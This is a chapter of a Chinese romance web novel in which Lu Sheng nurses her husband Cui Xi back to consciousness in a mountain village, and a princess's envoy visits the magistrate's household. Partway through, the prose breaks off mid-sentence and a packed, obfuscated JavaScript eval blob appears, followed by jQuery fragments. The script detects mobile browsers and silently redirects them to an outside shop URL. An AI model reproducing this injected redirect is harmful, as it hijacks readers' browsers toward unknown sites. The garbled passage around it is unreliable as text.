80. 第 80 章

作品:《成为县令夫人以后

    陆笙站在屋檐下看雨落,远处的山蒙上了一层浓浓白雾,看上去仿若海外仙山,明明前几日还在那山里,现在却有些隔世之感,人和人的面孔熟悉又陌生。


    算了,不去想,事到如今也只能走下去。


    她现在正带着崔息和秦厌借宿在一处农户家里,秦厌已经转醒两三日,可崔息不知为何还是没能醒。


    陆笙带走的药都快吃完了,再不醒她就又要回转一次,所以先停在此处暂歇。


    目光越不过山川峰峦,她闭眼向内看。


    自从“嫁给”崔息,她就过上了一种身不由己的生活,明明还是那个自己,但生活异常劳碌,这些是自愿也不是自愿……


    “笙姐姐,药煎煮好了。”秦厌脸上的那股黑气已经全部褪去,面色也没有那么苍白,看来这黄鳝汤确实养人。


    “好,我这就去喂。”


    崔息现在没有办法自己吃下这药,所以只能由陆笙拿一根芦管喂到他的嘴里。


    秦厌拉一下她的袖子,眼睛有点发红,他带着担忧的口气问:“笙姐姐,公子到底什么时候能醒?你说今日是真的吗?不会又要改口明日吧!”


    “不会的。”陆笙坚定地对他撒谎。


    秦厌看陆笙眼睛里强烈的情绪知道她在强撑,也后悔问出口,可是他真的怕,恐惧“笃笃笃”得常常叩问心门,他都很难睡好。


    “今天肯定会醒的,你再去跟张婶去捉些鳝鱼,等云尘醒了他吃汤的你吃红烧的。或者鲫鱼、甲鱼也好,鲫鱼就做鲫鱼豆腐汤,甲鱼我们清蒸就好,多摆些葱姜。”陆笙说了些吃食,既是安慰秦厌,也是给自己打气。


    秦厌点头,不顾落雨就冲出去,陆笙拦不住他,只好去准备姜汤。


    姜汤才放到火塘里,她眼泪就滚落下来,如豆似得砸下来。


    她听见了崔息的呼唤。


    “夫人……”


    声音有些微弱,但一定是他的。


    陆笙三步并作两步走到门口却迟疑,会不会又是自己的幻觉。


    紧紧攥一攥拳头,她推开门,崔息果然……没有动,他还是静静地躺着。


    情绪一低一高,陆笙抿唇忍耐。


    “夫人?”目光中崔息睁开了眼睛,头缓缓地侧过来,好像很吃力。


    陆笙喜极而气,不是哭泣的泣而是生气,她真有几分愤怒,只是没多久都化作泪水滴落在他的衣襟。


    “我不喝姜茶。”他皱鼻子,看出来是极不喜欢。


    陆笙说:“给秦厌的,他为你冒雨捉鳝鱼呢!”说完又笑,“莫不是以为我又要给你喂姜茶?如果知道你不喜欢到能醒,我就早些煮了,拿十个炉子围着你煮。”


    陆笙没有说自己怕,怕他永远不醒。


    崔息看她虽然是笑着的,但是眼泪一直往下落,可是自己的四肢太沉重根本抬不起来。


    “是我的不是,叫夫人担心如此。”


    不知道是否是幻觉,视野一点点模糊,像是沉入水底看不清她了,崔息努力把手抬起一点点,手却马上被握住,是她的手,带着温热的令人眷恋的温度。


    她身上的气味越发明显,不再是刚才醒来时那么似有若无,简直要将自己包裹。之后是柔软的仿佛蜻蜓点水一般的触碰,泪水被带走,视野又恢复清晰,崔息这时候才发现原来自己也在流泪。


    “醒了要好好养一养。”陆笙把药碗递给他,扶着他靠在墙边。


    崔息甘之如饴,后面陆笙喂了他一些暖胃的粥才扶着崔息起来走了几步。


    “夫人,之前的事……”


    陆笙打断他:“等你好了我们再好好说,身体还没恢复莫要再殚精竭虑,服侍人可是很累的。”


    说到累嗔怪他一眼,崔息只是笑。


    难得的,陆笙从他的脸上看出了一些呆气。


    外面的雨水不知什么时候停了,一道跨山而来的彩虹落在不远的田地里。两个人坐在门口的木桩上,陆笙贴心地为他垫了一件衣服。


    秦厌回来的时候看见两个人坐在那,他快步跑过去,差点就被路上湿润的苔藓给绊倒。


    还在滴水的蓑衣,已经有些泛黄的斗笠,裤腿提到一半脸上还满是泥巴,秦厌的模样一下叫崔息没认出来。


    “公子,你终于醒了,可把笙姐姐吓坏了。”秦厌一口白牙,眼睛简直要笑没了,一副憨模样。


    生死攸关之事好像已经很远,这次只是他们出来小住,在乡野之间寻觅些野趣。


    崔息陪着陆笙去问农户买些南风肉和笋干,她没带钱但可以用土药换。那是卡铃在临走前给她的,给了很多,她几乎要拿不下。


    之后她又派了人送他们,安顿在此以后陆笙就让他们都回去,半夜醒来时她也会心惊,对着外面夜枭的咕咕声发呆一会儿然后怕是不是桐吾反悔,有人要来取他们性命。


    “夫人,吃了饭可否与我说说都发生了什么?我们彼此交换些消息,明天或者后天就回去吧,早走早安心。”


    “嗯,只要你身体吃得消。”


    两个人走在山村小道,左右没有人,崔息叹一口气捉住她的手问:“夫人,能不能抱一抱?你说这是用来表示喜悦的,我心中喜悦想同你分享,不知……”


    他的话还没说完,陆笙就一把抱住他。崔息的瘦削的下巴抵在陆笙的鬓边,眼睛紧紧闭上,只是想抱住陆笙,不知道她能不能懂得这样的想念,或者,不懂得也好。


    “崔云尘,那天你应该来看我。”


    “是,夫人教训的是,是我心胸狭窄非君子也。”


    两个人又抱了一会儿,听到张婶的咳嗽才松开。


    “咳,这道平日有不少人走过的。”她提醒。


    “婶子提醒的是,是我们唐突。”崔息主动担下责任。


    “不过夫妻蜜里调油也是好事,总比相看两厌来得好是不是?你们再温存着,我去跟秦厌取蓑衣去。”婶子面容带笑,显然也不是嫌他们不害臊,只是提醒。


    “您跟我们一起吃吧,他又捉了几条鳝鱼。”陆笙挽留张婶。


    “那怎么好意思,上次你的鳝鱼都给了我一大半。”张婶有些不好意思,这个东西拿去县城卖值不少钱。


    陆笙摇摇头,只道:“那屋子还是您免费叫我们住的,这是婶子的情分,现下我夫君醒了我们二人也当还一份恩不是?”


    张婶对这个年轻的姑娘颇有好感,很是会说话又懂人情。虽说自己是叫她免费住,但人家开头就予了些土药,这东西买一趟不容易,山里人家有很需要。


    婶子眼睛转一圈也不再推辞,只是眼见着人往回走。


    陆笙问她怎么了,她说取些新鲜的菜蔬送来,家里还有杏子、梅子和桃子,也准备一并拿过来些。


    崔息的手碰一碰陆笙的指尖,温热相近,但最后还是没有敢牵。有些话应当说清楚,若她权衡后不愿意也不必空付了她的一份情,自己是不值一提。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565241|132703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叹什么气?”陆笙听到他在身边的轻叹。


    “有么?”


    “有啊,当然有。”


    “嗯,我想想……好像,想不起来了。”


    “崔云尘,你可是探花郎……”


    两个人说笑着你一言我一语慢慢走过小道,但崔息现在闭口,此刻何其珍贵,何其难得,他贪心。


    向农户买完东西回到屋里,张婶已经备好了柴火,杀好了鳝鱼。陆笙亲自操刀,不一会儿两个锅子就开始冒热气,香味随着蒸汽飘出来,秦厌心思全数放下,肚子早饿得不行,像八爪鱼一样扒在柱边看着。


    张婶擦了个杏子给他,他一口全塞嘴里。


    陆笙本想说秦厌几句,但是看他满眼的期待不由默念:能吃是福,能吃是福啊。


    县令府邸,沈莲丰正对着贴在屋子里的纸画一个叉,今日一过明日娘子和阿郎就该回来了,到时她得好好收拾收拾。


    甚至于到时候说些什么她都想过,一条条列在纸上,娘子最关心的肯定是她的菜园子。


    菜园子产了什么菜,损了什么菜以及什么菜正产她都记着呢,跟宫中记事一样每日记,若今日有趣事还会额外记一笔,如今已经攒了一指厚。


    最近的一张记的是关于茄子的,天气热茄子已经长了一些,猜测再过几天就可以吃。薄荷有了新销路,全做成了饮子卖,加上食肆的名字,卖得极好。


    “嗯,得把这名字的来历也添上。”沈莲丰自言自语。


    只是她准备叫人备墨的时候有仆役来报。


    “门外有一位气韵不凡的娘子来拜谒,听口音似乎来自北边。”


    沈莲丰实在想不到会有谁,难道是段侍郎的夫人?但她也不会不书信就来此地……


    一边走一边想,可没有人会在此地才是,自贬谪永平后除段侍郎,无人再与阿郎交好。


    她愈发地好奇,走到门口一看,确是非凡,可她并不认识。


    “这位就是沈管事吧?此为凭证。”


    听她的语气竟然不是来找阿郎,而是来找自己的,沈莲丰当即肃了眉眼,若是来找自己的,那便只有一个可能,是公主派来的。


    仔细端详对方拿过来的东西,是一枚嵌满宝石的游鱼,红蓝交替,眼睛是黑曜石,果然是福圣公主之物。


    “娘子里面请。”沈莲丰的手有些颤抖,不知道所谓何事。


    “来人,备茶。”她掩饰一下情绪,转头吩咐。


    灵琅走进县令府邸,悠闲地晃了两下马鞭,走到屋里直接坐了上座,之后气势一放,威仪尽现,她说:“沈管事,有些问题还想请你解惑。”


    沈莲丰自然是说任凭上差云云,可意想不到的是这位女官竟然只问些仿佛不太重要的问题。


    看到沈莲丰疑惑灵琅只是笑一下不置可否。


    如此莫测高深,沈莲丰不敢怠慢,细细地对她讲来,因为都是日常事,有时不自觉加了几句。


    “看来这位县令夫人做得很好,人也不错。”灵琅捏起茶杯,轻轻抿一口,也是薄荷饮。


    沈莲丰知道这是测试她态度的话,和这样的人物交流事事要谨慎。


    她正思忖要用什么话来表示,灵琅却站起来说:“天色不早,沈管事,明日再见。”


    “明日……明日阿郎与夫人要回府。”沈莲丰是希望她明日不要来。


    “无妨事。”


    灵琅浑不在意,噎得沈莲丰不知道怎么回话。